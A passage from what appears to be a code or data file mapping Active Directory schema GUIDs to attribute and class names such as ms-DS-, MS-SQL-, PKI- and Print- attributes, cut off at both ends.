'ms-DS-Allowed-DNS-Suffixes', - '603e94c4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Build', - '926be278-56f9-11d2-90d0-00c04fd91ab1': 'PKI-Enrollment-Access', - '1f0075fb-7e40-11d0-afd6-00c04fd930c9': 'Vol-Table-Idx-GUID', - '8521c983-f599-420f-b9ab-b1222bdf95c1': 'ms-DS-User-TGT-Lifetime', - '07502414-fdca-4851-b04a-13645b11d226': 'ms-WMI-MergeablePolicyTemplate', - 'c8fca9b1-7d88-bb4f-827a-448927710762': 'ms-DS-Claims-Transformation-Policies', - '963d273b-48be-11d1-a9c3-0000f80367c1': 'dhcp-Type', - '800d94d7-b7a1-42a1-b14d-7cae1423d07f': 'ms-DS-Allowed-To-Delegate-To', - '64933a3e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ServiceAccount', - '041570d2-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Expiration-Period', - '34aaa217-b699-11d0-afee-0000f80367c1': 'Volume-Count', - '105babe9-077e-4793-b974-ef0410b62573': 'ms-DS-Computer-Allowed-To-Authenticate-To', - '963d273a-48be-11d1-a9c3-0000f80367c1': 'dhcp-Unique-Key', - 'c4af1073-ee50-4be0-b8c0-89a41fe99abe': 'ms-DS-Auxiliary-Classes', - '696177a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CharacterSet', - '18976af6-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Extended-Key-Usage', - '244b2970-5abd-11d0-afd2-00c04fd930c9': 'Wbem-Path', - '2e937524-dfb9-4cac-a436-a5b7da64fd66': 'ms-DS-Computer-TGT-Lifetime', - '55dd81c9-c312-41f9-a84d-c6adbdf1e8e1': 'ms-WMI-ObjectEncoding', - '641e87a4-8326-4771-ba2d-c706df35e35a': 'ms-DS-Cloud-Extensions', - '963d2755-48be-11d1-a9c3-0000f80367c1': 'dhcp-Update-Time', - 'e185d243-f6ce-4adb-b496-b0c005d7823c': 'ms-DS-Approx-Immed-Subordinates', - '6ddc42c0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SortOrder', - 'e9b0a87e-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Key-Usage', - '05308983-7688-11d1-aded-00c04fd8d5cd': 'Well-Known-Objects', - 'f2973131-9b4d-4820-b4de-0474ef3b849f': 'ms-DS-Service-Allowed-To-Authenticate-To', - 'bf967953-0de6-11d0-a285-00aa003049e2': 'Display-Name', - '3e1ee99c-6604-4489-89d9-84798a89515a': 'ms-DS-AuthenticatedAt-DC', - '72dc918a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-UnicodeSortOrder', - 'f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Max-Issuing-Depth', - 'bf967a77-0de6-11d0-a285-00aa003049e2': 'When-Changed', - '97da709a-3716-4966-b1d1-838ba53c3d89': 'ms-DS-Service-Allowed-To-Authenticate-From', - 'e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1': 'ms-WMI-PolicyTemplate', - '310b55ce-3dcd-4392-a96d-c9e35397c24f': 'ms-DS-Device-Registration-Service-Container', - 'bf967954-0de6-11d0-a285-00aa003049e2': 'Display-Name-Printable', - 'e8b2c971-a6df-47bc-8d6f-62770d527aa5': 'ms-DS-AuthenticatedTo-Accountlist', - '7778bd90-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Clustered', - '1219a3ec-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Overlap-Period', - 'bf967a78-0de6-11d0-a285-00aa003049e2': 'When-Created', - '5dfe3c20-ca29-407d-9bab-8421e55eb75c': 'ms-DS-Service-TGT-Lifetime', - '9a7ad946-ca53-11d1-bbd0-0080c76670c0': 'DIT-Content-Rules', - '503fc3e8-1cc6-461a-99a3-9eee04f402a7': 'ms-DS-Az-Application-Data', - '7b91c840-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-NamedPipe', - '8447f9f1-1027-11d0-a05f-00aa006c33ed': 'PKT', - 'bf967a79-0de6-11d0-a285-00aa003049e2': 'Winsock-Addresses', - 'b23fc141-0df5-4aea-b33d-6cf493077b3f': 'ms-DS-Assigned-AuthN-Policy-Silo', - '595b2613-4109-4e77-9013-a3bb4ef277c7': 'ms-WMI-PolicyType', - '96bc3a1a-e3d2-49d3-af11-7b0df79d67f5': 'ms-DS-Device-Registration-Service', - 'fe6136a0-2073-11d0-a9c2-00aa006c33ed': 'Division', - 'db5b0728-6208-4876-83b7-95d3e5695275': 'ms-DS-Az-Application-Name', - '8157fa38-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-MultiProtocol', - '8447f9f0-1027-11d0-a05f-00aa006c33ed': 'PKT-Guid', - 'bf967a7a-0de6-11d0-a285-00aa003049e2': 'WWW-Home-Page', - '33140514-f57a-47d2-8ec4-04c4666600c7': 'ms-DS-Assigned-AuthN-Policy-Silo-BL', - 'f0f8ff8b-1191-11d0-a060-00aa006c33ed': 'DMD-Location', - '7184a120-3ac4-47ae-848f-fe0ab20784d4': 'ms-DS-Az-Application-Version', - '86b08004-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SPX', - '19405b96-3cfa-11d1-a9c0-0000f80367c1': 'Policy-Replication-Flags', - '9a9a0221-4a5b-11d1-a9c3-0000f80367c1': 'WWW-Page-Other', - '164d1e05-48a6-4886-a8e9-77a2006e3c77': 'ms-DS-AuthN-Policy-Silo-Members', - '45fb5a57-5018-4d0f-9056-997c8c9122d9': 'ms-WMI-RangeParam', - '7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11': 'ms-DS-Device-Container', - '167757b9-47f3-11d1-a9c3-0000f80367c1': 'DMD-Name', - '33d41ea8-c0c9-4c92-9494-f104878413fd': 'ms-DS-Az-Biz-Rule', - '8ac263a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-TCPIP', - '281416c4-1968-11d0-a28f-00aa003049e2': 'Port-Name', - 'bf967a7b-0de6-11d0-a285-00aa003049e2': 'X121-Address', - '11fccbc7-fbe4-4951-b4b7-addf6f9efd44': 'ms-DS-AuthN-Policy-Silo-Members-BL', - '2df90d86-009f-11d2-aa4c-00c04fd7d83a': 'DN-Reference-Update', - '52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25': 'ms-DS-Az-Biz-Rule-Language', - '8fda89f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AppleTalk', - 'bf9679fa-0de6-11d0-a285-00aa003049e2': 'Poss-Superiors', - 'd07da11f-8a3d-42b6-b0aa-76c962be719a': 'x500uniqueIdentifier', - 'cd26b9f3-d415-442a-8f78-7c61523ee95b': 'ms-DS-User-AuthN-Policy', - '6afe8fe2-70bc-4cce-b166-a96f7359c514': 'ms-WMI-RealRangeParam', - 'd2b1470a-8f84-491e-a752-b401ee00fe5c': 'ms-DS-AuthN-Policy-Silos', - 'e0fa1e65-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-Dynamic', - '013a7277-5c2d-49ef-a7de-b765b36a3f6f': 'ms-DS-Az-Class-ID', - '94c56394-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Vines', - '9a7ad94c-ca53-11d1-bbd0-0080c76670c0': 'Possible-Inferiors', - 'bf967a7f-0de6-11d0-a285-00aa003049e2': 'X509-Cert', - '2f17faa9-5d47-4b1f-977e-aa52fabe65c8': 'ms-DS-User-AuthN-Policy-BL', - 'e0fa1e66-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-XFR', - '6448f56a-ca70-4e2e-b0af-d20e4ce653d0': 'ms-DS-Az-Domain-Timeout', - '9a7d4770-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Status', - 'bf9679fb-0de6-11d0-a285-00aa003049e2': 'Post-Office-Box', - '612cb747-c0e8-4f92-9221-fdd5f15b550d': 'UnixUserPassword', - 'afb863c9-bea3-440f-a9f3-6153cc668929': 'ms-DS-Computer-AuthN-Policy', - '3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66': 'ms-WMI-Rule', - '3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4': 'ms-DS-AuthN-Policies', - '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'DNS-Host-Name', - 'f90abab0-186c-4418-bb85-88447c87222a': 'ms-DS-Az-Generate-Audits', - '9fcc43d4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastUpdatedDate', - 'bf9679fc-0de6-11d0-a285-00aa003049e2': 'Postal-Address', - '850fcc8f-9c6b-47e1-b671-7c654be4d5b3': 'UidNumber', - '2bef6232-30a1-457e-8604-7af6dbf131b8': 'ms-DS-Computer-AuthN-Policy-BL', - 'e0fa1e68-9b45-11d0-afdd-00c04fd930c9': 'Dns-Notify-Secondaries', - '665acb5c-bb92-4dbc-8c59-b3638eab09b3': 'ms-DS-Az-Last-Imported-Biz-Rule-Path', - 'a42cd510-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationURL', - 'bf9679fd-0de6-11d0-a285-00aa003049e2': 'Postal-Code', - 'c5b95f0c-ec9e-41c4-849c-b46597ed6696': 'GidNumber', - '2a6a6d95-28ce-49ee-bb24-6d1fc01e3111': 'ms-DS-Service-AuthN-Policy', - 'f1e44bdf-8dd3-4235-9c86-f91f31f5b569': 'ms-WMI-ShadowObject', - 'f9f0461e-697d-4689-9299-37e61d617b0d': 'ms-DS-AuthN-Policy-Silo', - '675a15fe-3b70-11d2-90cc-00c04fd91ab1': 'DNS-Property', - '5e53368b-fc94-45c8-9d7d-daf31ee7112d': 'ms-DS-Az-LDAP-Query', - 'a92d23da-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ConnectionURL', - 'bf9679fe-0de6-11d0-a285-00aa003049e2': 'Preferred-Delivery-Method', - 'a3e03f1f-1d55-4253-a0af-30c2a784e46e': 'Gecos', - '2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2': 'ms-DS-Service-AuthN-Policy-BL', - 'f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7': 'ms-DS-Device-MDMStatus', - 'e0fa1e69-9b45-11d0-afdd-00c04fd930c9': 'Dns-Record', - 'cfb9adb7-c4b7-4059-9568-1ed9db6b7248': 'ms-DS-Az-Major-Version', - 'ae0c11b8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-PublicationURL', - '856be0d0-18e7-46e1-8f5f-7ee4d9020e0d': 'preferredLanguage', - 'bc2dba12-000f-464d-bf1d-0808465d8843': 'UnixHomeDirectory', - 'b87a0ad8-54f7-49c1-84a0-e64d12853588': 'ms-DS-Assigned-AuthN-Policy', - '6cc8b2b5-12df-44f6-8307-e74f5cdee369': 'ms-WMI-SimplePolicyTemplate', - 'a11703b7-5641-4d9c-863e-5fb3325e74e0': 'ms-DS-GeoCoordinates-Altitude', - 'bf967959-0de6-11d0-a285-00aa003049e2': 'Dns-Root', - 'ee85ed93-b209-4788-8165-e702f51bfbf3': 'ms-DS-Az-Minor-Version', - 'b222ba0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLatitude', - 'bf9679ff-0de6-11d0-a285-00aa003049e2': 'Preferred-OU', - 'a553d12c-3231-4c5e-8adf-8d189697721e': 'LoginShell', - '2d131b3c-d39f-4aee-815e-8db4bc1ce7ac': 'ms-DS-Assigned-AuthN-Policy-BL', - 'dc66d44e-3d43-40f5-85c5-3c12e169927e': 'ms-DS-GeoCoordinates-Latitude', - 'e0fa1e67-9b45-11d0-afdd-00c04fd930c9': 'Dns-Secure-Secondaries', - 'a5f3b553-5d76-4cbe-ba3f-4312152cab18': 'ms-DS-Az-Operation-ID', - 'b7577c94-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLongitude', - '52458022-ca6a-11d0-afff-0000f80367c1': 'Prefix-Map', - 'f8f2689c-29e8-4843-8177-e8b98e15eeac': 'ShadowLastChange', - '7a560cc2-ec45-44ba-b2d7-21236ad59fd5': 'ms-DS-AuthN-Policy-Enforced', - 'ab857078-0142-4406-945b-34c9b6b13372': 'ms-WMI-Som', - '94c42110-bae4-4cea-8577-af813af5da25': 'ms-DS-GeoCoordinates-Longitude', - 'd5eb2eb7-be4e-463b-a214-634a44d7392e': 'DNS-Tombstoned', - '515a6b06-2617-4173-8099-d5605df043c6': 'ms-DS-Az-Scope-Name', - 'bcdd4f0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSHeight', - 'a8df744b-c5ea-11d1-bbcb-0080c76670c0': 'Presentation-Address', - 'a76b8737-e5a1-4568-b057-dc12e04be4b2': 'ShadowMin', - 'f2f51102-6be0-493d-8726-1546cdbc8771': 'ms-DS-AuthN-Policy-Silo-Enforced', - 'bd29bf90-66ad-40e1-887b-10df070419a6': 'ms-DS-External-Directory-Object-Id', - 'f18a8e19-af5f-4478-b096-6f35c27eb83f': 'documentAuthor', - '2629f66a-1f95-4bf3-a296-8e9d7b9e30c8': 'ms-DS-Az-Script-Engine-Cache-Max', - 'c07cc1d0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Version', - '963d2739-48be-11d1-a9c3-0000f80367c1': 'Previous-CA-Certificates', - 'f285c952-50dd-449e-9160-3b880d99988d': 'ShadowMax', - '0bc579a2-1da7-4cea-b699-807f3b9d63a4': 'ms-WMI-StringSetParam', - '0b21ce82-ff63-46d9-90fb-c8b9f24e97b9': 'documentIdentifier', - '87d0fb41-2c8b-41f6-b972-11fdfd50d6b0': 'ms-DS-Az-Script-Timeout', - 'c57f72f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Language', - '963d273d-48be-11d1-a9c3-0000f80367c1': 'Previous-Parent-CA', - '7ae89c9c-2976-4a46-bb8a-340f88560117': 'ShadowWarning', - '2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e': 'account', - 'bf967aa1-0de6-11d0-a285-00aa003049e2': 'Mail-Recipient', - 'b958b14e-ac6d-4ec4-8892-be70b69f7281': 'documentLocation', - '7b078544-6c82-4fe9-872f-ff48ad2b2e26': 'ms-DS-Az-Task-Is-Role-Definition', - '8386603c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Description', - 'bf967a00-0de6-11d0-a285-00aa003049e2': 'Primary-Group-ID', - '86871d1f-3310-4312-8efd-af49dcfb2671': 'ShadowInactive', - 'bf967a83-0de6-11d0-a285-00aa003049e2': 'Class-Schema', - 'd9a799b2-cef3-48b3-b5ad-fb85f8dd3214': 'ms-WMI-UintRangeParam', - '59527d0f-b7c0-4ce2-a1dd-71cef6963292': 'ms-DS-Is-Compliant', - '170f09d7-eb69-448a-9a30-f1afecfd32d7': 'documentPublisher', - '8491e548-6c38-4365-a732-af041569b02c': 'ms-DS-Az-Object-Guid', - 'ca48eba8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Type', - 'c0ed8738-7efd-4481-84d9-66d2db8be369': 'Primary-Group-Token', - '75159a00-1fff-4cf4-8bff-4ef2695cf643': 'ShadowExpire', - 'd1328fbc-8574-4150-881d-0b1088827878': 'ms-DS-Key-Principal-BL', - 'de265a9c-ff2c-47b9-91dc-6e6fe2c43062': 'documentTitle', - 'b5f7e349-7a5b-407c-a334-a31c3f538b98': 'ms-DS-Az-Generic-Data', - 'd0aedb2e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationDirectory', - '281416d7-1968-11d0-a28f-00aa003049e2': 'Print-Attributes', - '8dfeb70d-c5db-46b6-b15e-a4389e6cee9b': 'ShadowFlag', - '7f561288-5301-11d1-a9c5-0000f80367c1': 'ACS-Policy', - '8f4beb31-4e19-46f5-932e-5fa03c339b1d': 'ms-WMI-UintSetParam', - 'c4a46807-6adc-4bbb-97de-6bed181a1bfe': 'ms-DS-Device-Trust-Type', - '94b3a8a9-d613-4cec-9aad-5fbcc1046b43': 'documentVersion', - 'd31a8757-2447-4545-8081-3bb610cacbf2': 'ms-DS-Behavior-Version', - 'd5a0dbdc-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Database', - '281416cd-1968-11d0-a28f-00aa003049e2': 'Print-Bin-Names', - '03dab236-672e-4f61-ab64-f77d2dc2ffab': 'MemberUid', - '1dcc0722-aab0-4fef-956f-276fe19de107': 'ms-DS-Shadow-Principal-Sid', - '7bfdcb7a-4807-11d1-a9c3-0000f80367c1': 'Domain-Certificate-Authorities', - 'f0d8972e-dd5b-40e5-a51d-044c7c17ece7': 'ms-DS-Byte-Array', - 'db77be4a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AllowAnonymousSubscription', - '281416d2-1968-11d0-a28f-00aa003049e2': 'Print-Collate', - '0f6a17dc-53e5-4be8-9442-8f3ce2f9012a': 'MemberNisNetgroup', - '2e899b04-2834-11d3-91d4-0000f87a57d4': 'ACS-Resource-Limits', - 'b82ac26b-c6db-4098-92c6-49c18a3336e1': 'ms-WMI-UnknownRangeParam', - '19195a55-6da0-11d0-afd3-00c04fd930c9': 'Domain-Component', - '69cab008-cdd4-4bc9-bab8-0ff37efe1b20': 'ms-DS-Cached-Membership', - 'e0c6baae-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Alias', - '281416d3-1968-11d0-a28f-00aa003049e2': 'Print-Color', - 'a8032e74-30ef-4ff5-affc-0fc217783fec': 'NisNetgroupTriple', - '11f95545-d712-4c50-b847-d2781537c633': 'ms-DS-Shadow-Principal-Container', - 'b000ea7b-a086-11d0-afdd-00c04fd930c9': 'Domain-Cross-Ref', - '3566bf1f-beee-4dcb-8abe-ef89fcfec6c1': 'ms-DS-Cached-Membership-Time-Stamp', - 'e9098084-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Size', - '281416cc-1968-11d0-a28f-00aa003049e2': 'Print-Duplex-Supported', - 'ff2daebf-f463-495a-8405-3e483641eaa2': 'IpServicePort', - '7f561289-5301-11d1-a9c5-0000f80367c1': 'ACS-Subnet', - '05630000-3927-4ede-bf27-ca91f275c26f': 'ms-WMI-WMIGPO', - '963d2734-48be-11d1-a9c3-0000f80367c1': 'Domain-ID', - '23773dc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Guid', - 'ede14754-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CreationDate', - '281416ca-1968-11d0-a28f-00aa003049e2': 'Print-End-Time', - 'cd96ec0b-1ed6-43b4-b26b-f170b645883f': 'IpServiceProtocol', - '770f4cb3-1643-469c-b766-edd77aa75e14': 'ms-DS-Shadow-Principal', - '7f561278-5301-11d1-a9c5-0000f80367c1': 'Domain-Identifier', - '178b7bc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Child-Count', - 'f2b6abca-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastBackupDate', - '281416cb-1968-11d0-a28f-00aa003049e2': 'Print-Form-Name', - 'ebf5c6eb-0e2d-4415-9670-1081993b4211': 'IpProtocolNumber', - '3e74f60f-3e73-11d1-a9c0-0000f80367c1': 'Address-Book-Container', - '9a0dc344-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Configuration', - 'c294f84b-2fad-4b71-be4c-9fc5701f60ba': 'ms-DS-Key-Id', - 'bf96795d-0de6-11d0-a285-00aa003049e2': 'Domain-Policy-Object', - 'c5e60132-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Creator-SID', - 'f6d6dd88-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastDiagnosticDate', - 'ba305f6d-47e3-11d0-a1a6-00c04fd930c9': 'Print-Keep-Printed-Jobs', - '966825f5-01d9-4a5c-a011-d15ae84efa55': 'OncRpcNumber', - 'a12e0e9f-dedb-4f31-8f21-1311b958182f': 'ms-DS-Key-Material', - '80a67e2a-9f22-11d0-afdd-00c04fd930c9': 'Domain-Policy-Reference', - '234fcbd8-fb52-4908-a328-fd9f6e58e403': 'ms-DS-Date-Time', - 'fbcda2ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Applications', - '281416d6-1968-11d0-a28f-00aa003049e2': 'Print-Language', - 'de8bb721-85dc-4fde-b687-9657688e667e': 'IpHostNumber', - '5fd4250a-1262-11d0-a060-00aa006c33ed': 'Address-Template', - '876d6817-35cc-436c-acea-5ef7174dd9be': 'MSMQ-Custom-Recipient', - 'de71b44c-29ba-4597-9eca-c3348ace1917': 'ms-DS-Key-Usage', - 'bf96795e-0de6-11d0-a285-00aa003049e2': 'Domain-Replica', - '6818f726-674b-441b-8a3a-f40596374cea': 'ms-DS-Default-Quota', - '01e9a98a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Keywords', - 'ba305f7a-47e3-11d0-a1a6-00c04fd930c9': 'Print-MAC-Address', - '4e3854f4-3087-42a4-a813-bb0c528958d3': 'IpNetworkNumber', - 'bd61253b-9401-4139-a693-356fc400f3ea': 'ms-DS-Key-Principal', - '80a67e29-9f22-11d0-afdd-00c04fd930c9': 'Domain-Wide-Policy', - 'a9b38cb6-189a-4def-8a70-0fcfa158148e': 'ms-DS-Deleted-Object-Lifetime', - 'c1676858-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-Publisher', - '281416d1-1968-11d0-a28f-00aa003049e2': 'Print-Max-Copies', - '6ff64fcd-462e-4f62-b44a-9a5347659eb9': 'IpNetmaskNumber', - '3fdfee4f-47f4-11d1-a9c3-0000f80367c1': 'Application-Entity', - '9a0dc345-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Enterprise-Settings', - '642c1129-3899-4721-8e21-4839e3988ce5': 'ms-DS-Device-DN', - '1a1aa5b5-262e-4df6-af04-2cf6b0d80048': 'drink', - '2143acca-eead-4d29-b591-85fa49ce9173': 'ms-DS-DnsRootAlias', - 'c3bb7054-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowKnownPullSubscription', - '281416cf-1968-11d0-a28f-00aa003049e2': 'Print-Max-Resolution-Supported', - 'e6a522dd-9770-43e1-89de-1de5044328f7': 'MacAddress', - 'dffbd720-0872-402e-9940-fcd78db049ba': 'ms-DS-Computer-SID', - '281416c5-1968-11d0-a28f-00aa003049e2': 'Driver-Name', - '5706aeaf-b940-4fb2-bcfc-5268683ad9fe': 'ms-DS-Enabled-Feature', - 'c4186b6e-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowImmediateUpdatingSubscription', - 'ba305f6f-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-X-Extent', - 'd72a0750-8c7c-416e-8714-e65f11e908be': 'BootParameter', - '5fd4250b-1262-11d0-a060-00aa006c33ed': 'Application-Process', - '46b27aac-aafa-4ffb-b773-e5bf621ee87b': 'MSMQ-Group', - 'b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1': 'ms-DS-Custom-Key-Information', - 'ba305f6e-47e3-11d0-a1a6-00c04fd930c9': 'Driver-Version', - 'ce5b01bc-17c6-44b8-9dc1-a9668b00901b': 'ms-DS-Enabled-Feature-BL', - 'c458ca80-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowQueuedUpdatingSubscription', - 'ba305f70-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-Y-Extent', - 'e3f3cb4e-0f20-42eb-9703-d2ff26e52667': 'BootFile', - '649ac98d-9b9a-4d41-af6b-f616f2a62e4a': 'ms-DS-Key-Approximate-Last-Logon-Time-Stamp', - 'd167aa4b-8b08-11d2-9939-0000f87a57d4': 'DS-Core-Propagation-Data', - 'e1e9bad7-c6dd-4101-a843-794cec85b038': 'ms-DS-Entry-Time-To-Die', - 'c49b8be8-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowSnapshotFilesFTPDownloading', - '3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Media-Ready', - '969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1': 'NisMapName', - 'f780acc1-56f0-11d1-a9c6-0000f80367c1': 'Application-Settings', - '50776997-3c3d-11d2-90cc-00c04fd91ab1': 'MSMQ-Migrated-User', - 'f0f8ff86-1191-11d0-a060-00aa006c33ed': 'DS-Heuristics', - '9d054a5a-d187-46c1-9d85-42dfc44a56dd': 'ms-DS-ExecuteScriptPassword', - 'c4e311fc-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-ThirdParty', - '244b296f-5abd-11d0-afd2-00c04fd930c9': 'Print-Media-Supported', - '4a95216e-fcc0-402e-b57f-5971626148a9': 'NisMapEntry', - 'ee1f5543-7c2e-476a-8b3f-e11f4af6c498': 'ms-DS-Key-Credential', - 'ee8d0ae0-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Maximum', - 'b92fd528-38ac-40d4-818d-0433380837c1': 'ms-DS-External-Key', - '4cc4601e-7201-4141-abc8-3e529ae88863': 'ms-TAPI-Conference-Blob', - 'ba305f74-47e3-11d0-a1a6-00c04fd930c9': 'Print-Memory', - '27eebfa2-fbeb-4f8e-aad6-c50247994291': 'msSFU-30-Search-Container', - '19195a5c-6da0-11d0-afd3-00c04fd930c9': 'Application-Site-Settings', - '9a0dc343-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue', - '938ad788-225f-4eee-93b9-ad24a159e1db': 'ms-DS-Key-Credential-Link-BL', - 'f6ea0a94-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Notification', - '604877cd-9cdb-47c7-b03d-3daadb044910': 'ms-DS-External-Store', - 'efd7d7f7-178e-4767-87fa-f8a16b840544': 'ms-TAPI-Ip-Address', - 'ba305f71-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-X-Extent', - '32ecd698-ce9e-4894-a134-7ad76b082e83': 'msSFU-30-Key-Attributes', - 'bf967aba-0de6-11d0-a285-00aa003049e2': 'User', - 'fcca766a-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Shell-Maximum', - '9b88bda8-dd82-4998-a91d-5f2d2baf1927': 'ms-DS-Optional-Feature-GUID', - '89c1ebcf-7a5f-41fd-99ca-c900b32299ab': 'ms-TAPI-Protocol-Id', - 'ba305f72-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-Y-Extent', - 'a2e11a42-e781-4ca1-a7fa-ec307f62b6a1': 'msSFU-30-Field-Separator', - 'ddc790ac-af4d-442a-8f0f-a1d4caa7dd92': 'Application-Version', - '9a0dc347-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Settings', - '167757bc-47f3-11d1-a9c3-0000f80367c1': 'DSA-Signature', - 'fb00dcdf-ac37-483a-9c12-ac53a6603033': 'ms-DS-Filter-Containers', - '70a4e7ea-b3b9-4643-8918-e6dd2471bfd4': 'ms-TAPI-Unique-Identifier', - 'ba305f79-47e3-11d0-a1a6-00c04fd930c9': 'Print-Network-Address', - '95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8': 'msSFU-30-Intra-Field-Separator', - '5df2b673-6d41-4774-b3e8-d52e8ee9ff99': 'ms-DS-Device', - '52458021-ca6a-11d0-afff-0000f80367c1': 'Dynamic-LDAP-Server', - '11e9a5bc-4517-4049-af9c-51554fb0fc09': 'ms-DS-Has-Instantiated-NCs', - '6366c0c1-6972-4e66-b3a5-1d52ad0c0547': 'ms-WMI-Author', - 'ba305f6a-47e3-11d0-a1a6-00c04fd930c9': 'Print-Notify', - 'ef9a2df0-2e57-48c8-8950-0cc674004733': 'msSFU-30-Search-Attributes', - '9a0dc346-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Link', - '5b47d60f-6090-40b2-9f37-2a4de88f3063': 'ms-DS-Key-Credential-Link', - 'bf967961-0de6-11d0-a285-00aa003049e2': 'E-mail-Addresses', - '6f17e347-a842-4498-b8b3-15e007da4fed': 'ms-DS-Has-Domain-NCs', - 'f9cdf7a0-ec44-4937-a79b-cd91522b3aa8': 'ms-WMI-ChangeDate', - '3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Number-Up', - 'e167b0b6-4045-4433-ac35-53f972d45cba': 'msSFU-30-Result-Attributes', - 'bf967a81-0de6-11d0-a285-00aa003049e2': 'Builtin-Domain', - '8e4eb2ec-4712-11d0-a1a0-00c04fd930c9': 'EFSPolicy', - 'ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad': 'ms-DS-Has-Master-NCs', - '90c1925f-4a24-4b07-b202-be32eb3c8b74': 'ms-WMI-Class', - '281416d0-1968-11d0-a28f-00aa003049e2': 'Print-Orientations-Supported', - 'b7b16e01-024f-4e23-ad0d-71f1a406b684': 'msSFU-30-Map-Filter', - '19195a60-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Connection', - 'f2699093-f25a-4220-9deb-03df4cc4a9c5': 'Dns-Zone-Scope-Container', - 'bf967962-0de6-11d0-a285-00aa003049e2': 'Employee-ID', - '80641043-15a2-40e1-92a2-8ca866f70776': 'ms-DS-Host-Service-Account', - '2b9c0ebc-c272-45cb-99d2-4d0e691632e0': 'ms-WMI-ClassDefinition', - 'ba305f69-47e3-11d0-a1a6-00c04fd930c9': 'Print-Owner', - '4cc908a2-9e18-410e-8459-f17cc422020a': 'msSFU-30-Master-Server-Name', - '7d6c0e9d-7e20-11d0-afd6-00c04fd930c9': 'Category-Registration', - 'a8df73ef-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Number', - '79abe4eb-88f3-48e7-89d6-f4bc7e98c331': 'ms-DS-Host-Service-Account-BL', - '748b0a2e-3351-4b3f-b171-2f17414ea779': 'ms-WMI-CreationDate', - '19405b97-3cfa-11d1-a9c0-0000f80367c1': 'Print-Pages-Per-Minute', - '02625f05-d1ee-4f9f-b366-55266becb95c': 'msSFU-30-Order-Number', - 'f0f8ffab-1191-11d0-a060-00aa006c33ed': 'NTDS-DSA', - '696f8a61-2d3f-40ce-a4b3-e275dfcc49c5': 'Dns-Zone-Scope', - 'a8df73f0-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Type', - '7bc64cea-c04e-4318-b102-3e0729371a65': 'ms-DS-Integer', - 